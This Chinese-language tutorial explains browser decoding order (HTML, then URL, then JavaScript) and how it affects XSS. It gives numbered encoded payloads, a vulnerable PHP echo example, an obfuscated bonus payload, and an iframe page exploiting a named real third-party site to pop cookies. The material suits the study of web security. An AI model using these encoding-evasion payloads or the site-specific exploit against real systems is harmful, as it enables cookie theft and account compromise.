一、html, js 的自解码机制

html 的解析顺序:html parser --> css parser -->javascript parser

<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(123)>')" /> 我们可以看到这个button添加了click事件,那么当点击按钮的时候会向网页的文档流中插入html代码,弹出对话框。

<script>
function HtmlEncode(str) {
    var s = "";
    if (str.length == 0) return "";
    s = str.replace(/&/g, "&amp;");
    s = s.replace(/</g, "&lt;");
    s = s.replace(/>/g, "&gt;");
    s = s.replace(/\"/g, "&quot;");
    return s;
}
</script>

A: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('&lt;img src=@ onerror=alert(123) /&gt;'))" />
B: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))" />

上面两条的执行结果是一样的,都只是在网页中输出了<img src=@ onerror=alert(123) /> 而没有弹框, 只不过A中的js代码在执行前已经先按照html的形式解码了,浏览器已经先将 &lt;img src=@ onerror=alert(123) /&gt; 解码成 <img src=@ onerror=alert(123) />,所以他们的执行效果是一样的。

关键的问题是这里的js代码是出现在html标签之间的,因为嵌入到html标签中的js 代码在解析之前会先按照html规则进行自动解码,包括: 进制编码:&#xH(十六进制格式)、&#D(十进制格式)。
HTML 实体编码,下面是 html5 新增的实体编码:
&#38;colon; => [冒号]
&#38;NewLine; => [换行]
case: <a href="javasc&NewLine;ript&colon;alert(1)">click</a>

以上是关于js在html内的解码,那么假如用户的输入后所传递的值并不是出现在html标签之内,而是出现在js中呢? 浏览器也有js的解析规则,还是举例子来说明

<script>
 document.write('&lt;img src=@ onerror=alert(123) /&gt;');
</script>

上边的例子会弹出对话框吗?是不会的,因为它出现在js代码之中,上下文环境为JavaScript,浏览器解析前会将出现在js代码中的以下内容编码进行解码

1):UniCode形式(\uH)

<script>
 document.write('\u003Cimg src=@ onerror=alert(123) /\u003E');
</script>

我们发现这个例子弹出对话框了,道理是一样的,js在执行前已经将特殊字符解码了。

2):普通16进制(\xHH) 或者 8进制([0-7]{1,3})

<script>
 document.write('\x3Cimg src=@ onerror=alert(123) /\x3E');
</script>

3):纯转义,如果用户带入js代码的内容中含有 '、"、< 、> 这些字符将他们进行转义是没有意义的,还是会原样的输出
看下边的示例:

<script>
 //document.write('\<img src=@ onerror=alert(123) /\>'); //弹框
 //document.write('te\'st'); //te'st
 //document.write('te\"st'); //te"st
</script>

由此可知 在js代码中对这些字符转义是没意义的。

具有 HtmlEncode 功能的标签
如 &lt;textarea&gt;、&lt;title&gt;、&lt;iframe&gt;、&lt;noscript&gt;、&lt;noframes&gt;、&lt;xmp&gt;、&lt;plaintext&gt;, html 在这些标签里面是不解析的,比如 $('tt').innerHTML='<img src=@ onerror=alert(123) />',不会造成弹框。&lt;xmp&gt; 没有HtmlEncode 功能,&lt;plaintext&gt; 在 Firefox 下不会进行 HtmlEncode 编码,而在 Chrome 下面会。

二、解码顺序

1.第一个例子,现在考虑这三种编码同时存在的情况
<a href="javascript&#58;&#32;alert('\<http&#58;&#47;&#47;simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>
首先是 HTML 解码,结果为
<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a> (上一行代码浏览器解析完查看dom树审查元素)
点击链接后,先是 URL 解码,结果为(假设是 style 属性,则会执行 css 解码)
<a href="javascript: alert('\<http://simba.cc/find?q=你好\>');">click</a> 最后是 JS 解码,结果为
<a href="javascript: alert('<http://simba.cc/find?q=你好>');">click</a> 应该会出现一个弹窗,内容是 <http://simba.cc/find?q=你好>

2.第二个例子,一段 php 代码

<html>
     <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
     </head>
     <body>
          <a href="javascript:alert('<?php echo $_GET['input'];?>');">test</a>
     </body>
</html>

当参数input的值为: %26lt%5cu4e00%26gt 的时候,因为 php 使用 $_GET 获取参数值(urldecode),故返回的 html 源码是 <a href="javascript:alert('&lt\u4e00&gt');">test</a>,浏览器解析时 html 解码 为 <a href="javascript:alert('<\u4e00>');">test</a> (查看dom 树审查元素),点击时进行 js 解码,故弹框为 <一>

三、浏览器urlencode 的影响

从浏览器 url 发出的请求,如果进行了 urlencode(比如chrome一般会编码 "<>,firefox 一般会编码 ' " &#96; <>, 而ie 分具体情况,如 /path/payload 会编码,而 /path/aa?bb=paylod 不会编码),比如将 " 转成%22 发出去,在服务器端的php 接收到的是原始的" 还是编码后的%22 得看用$_GET["key"] 还是$_SERVER['QUERY_STRING'],还要看在php 脚本内有没有做 addslashes 或者 htmlspecialchars 等函数调用,这样就能判断解析脚本 echo/print 出来的html 是怎样的组织形式,当然客户端请求得到的html 也就是这样的形式了。那为什么在chrome中对于< 等没有alert 弹窗呢,只是因为某些浏览器有anti_xss 模块或者filter,在浏览器解析 html 的时候 过滤掉这些危险的script 而没有执行,比如 ie 可以关闭掉 xss 筛选器让其弹框,而chrome 对于直接从参数中引入到页面的标签会限制其执行。对于ie 而言,如果页面 js 取location.href or #锚参数 or get参数 的值,则保持 地址栏原有模样(可能编码或者没编码)。其他浏览器 取到的都是编码后的样子(取决于浏览器本身会编码哪些字符发起请求)。这对于domxss 来说是一个比较重要的区分点,关注是否使用了 js 函数 decodeURIComponent(),也是是否会造成 domxss 漏洞的一个区分点。

为了看参数是否Urlencode对返回结果是否有影响,可以用一些工具比如 fiddle 发出编码和不编码时的请求,对比观察。这种不编码访问才能触发的xss 漏洞,最简单的利用方式是写一个html,里面用 iframe src 引入完整不编码 payload 链接,用 ie 访问此 html。注意如果此时弹 cookie 的话弹出的是 iframe 内 domain 域的 cookie,因为浏览器在请求第三方站点时也会把相关cookie发送出去(没有P3P 属性的 persistent cookie 有例外),如下:
<html lang="zh-cn"><body><iframe src="http://subao.dayuw.cn/web/index.php?c=user&a='};alert(document.cookie);aa={//"></body></html>

注意:由于同源策略的存在,本地html 是读取不到第三方站点 cookie的,但这里演示的是第三方站点自己存在漏洞,自己执行 js 弹cookie。

四、测试样例

下面的测试用例涉及到的底层知识比较多,详情可以查阅Reference的第二篇文章,在这里只做简单介绍。

Basics

  1. <a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
    URL encoded "javascript:alert(1)"
    不会触发。javascript: 是 scheme,不能进行urlencode,否则 urldecode 时出现 "no scheme" 状态。
  2. <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">
    Character entity encoded "javascript" and URL encoded "alert(2)"
    触发。先进行 htmldecode,点击执行urldecode,最后执行 js。
  3. <a href="javascript%3aalert(3)"></a>
    URL encoded ":"
    不会触发。冒号是 scheme 的一部分。
  4. <div>&#60;img src=x onerror=alert(4)&#62;</div>
    Character entity encoded < and >
    不会触发。< > 是识别 tag 的开始结束符,不能进行编码。
  5. <textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
    Character entity encoded < and >
    如前所述,textarea 等标签内不会进行 htmldecode。
  6. <textarea><script>alert(6)</script></textarea>
    不会触发。textarea 标签内不会执行 js,除非我们先把它闭合了。

Advanced
7. <button onclick="confirm('7&#39;);">Button</button>
Character entity encoded '
触发。先进行 htmldecode,点击触发 js 事件
8. <button onclick="confirm('8\u0027);">Button</button>
Unicode escape sequence encoded '
不会触发。' " ( ) 的unicode 编码形式在这里只是字符串的文本含义,并不能表示真正的引号闭合。
9. <script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
Character entity encoded alert(9);
不会触发。script 域内不会进行 htmldecode
(add: <script src="&#x61h.js"></script> // ah.js --> alert(document.domain);)
10. <script>\u0061\u006c\u0065\u0072\u0074(10);</script>
Unicode Escape sequence encoded alert
触发。function name 是 identifier name,可以用unicode 方式编码。
(add: at here only unicode can be used to encode function name, but not \xHH or \OOO,
of course we can

var a = "\74\151\155\147\40\163\162\143\75\43\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76";
document.body.innerHTML = a;   // <img src=# onerror=alert(1)>
or
<div><a href="javascript:\u0061lert('1\x62')">ga</a></div>
or
<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074(1)">

)
11. <script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
Unicode Escape sequence encoded alert(11)
不会触发。同问题2。
12. <script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
Unicode Escape sequence encoded alert and 12
不会触发。unicode 编码的 1, 2 在这里不能表示成字符串,因为它们不是被包裹在 ' " 中。
(add: the examples below works fine.

<script>\u0061\u006c\u0065\u0072\u0074('\u0031\u0032')</script>
<script>\u0061\u006c\u0065\u0072\u0074(/\u0031\u0032/)</script>
<script>\u0061\u006c\u0065\u0072\u0074(12)</script>

)
13. <script>alert('13\u0027)</script>
Unicode escape sequence encoded '
不会触发。同问题2。
14. <script>alert('14\u000a')</script>
Unicode escape sequence encoded line feed.
触发。unicode 编码的换行符在这里并不会真正地换行而导致js 语法错误,而是普通的文本含义。
15. <a href='javascript:focusUser("616d75576d3242746c5a7076%22-alert(777)-%22",1,"focusId");'>
点击会触发。先进行urldecode,这样 js 函数内的双引号就可以闭合。
<a href='javascript:focusUser("616d75576d3242746c5a7076%22-document.write(%27%3Ciframe/onload=alert(11)%3E%27)-%22",1,"focusId");'
在 ie 点击时会触发,可以将 "-document.write('<iframe/onload=alert(11)>')-" 提取出来作为一条 domxss 的测试用例。

Bonus

<a
href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;
&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;
&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;
&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;
&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;
&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;
&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;
&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;
&#x35;&#x29;"></a>

You figure out the encoding on this yourself!
(add: html decode --> url decode --> js decode, then it works!
if href's value contain &#38;#34; if will turn into &#38;quot; inorder not to close the pre double quote )

Reference

《Web 前端黑客技术揭秘》
Deep dive into browser parsing and XSS payload encoding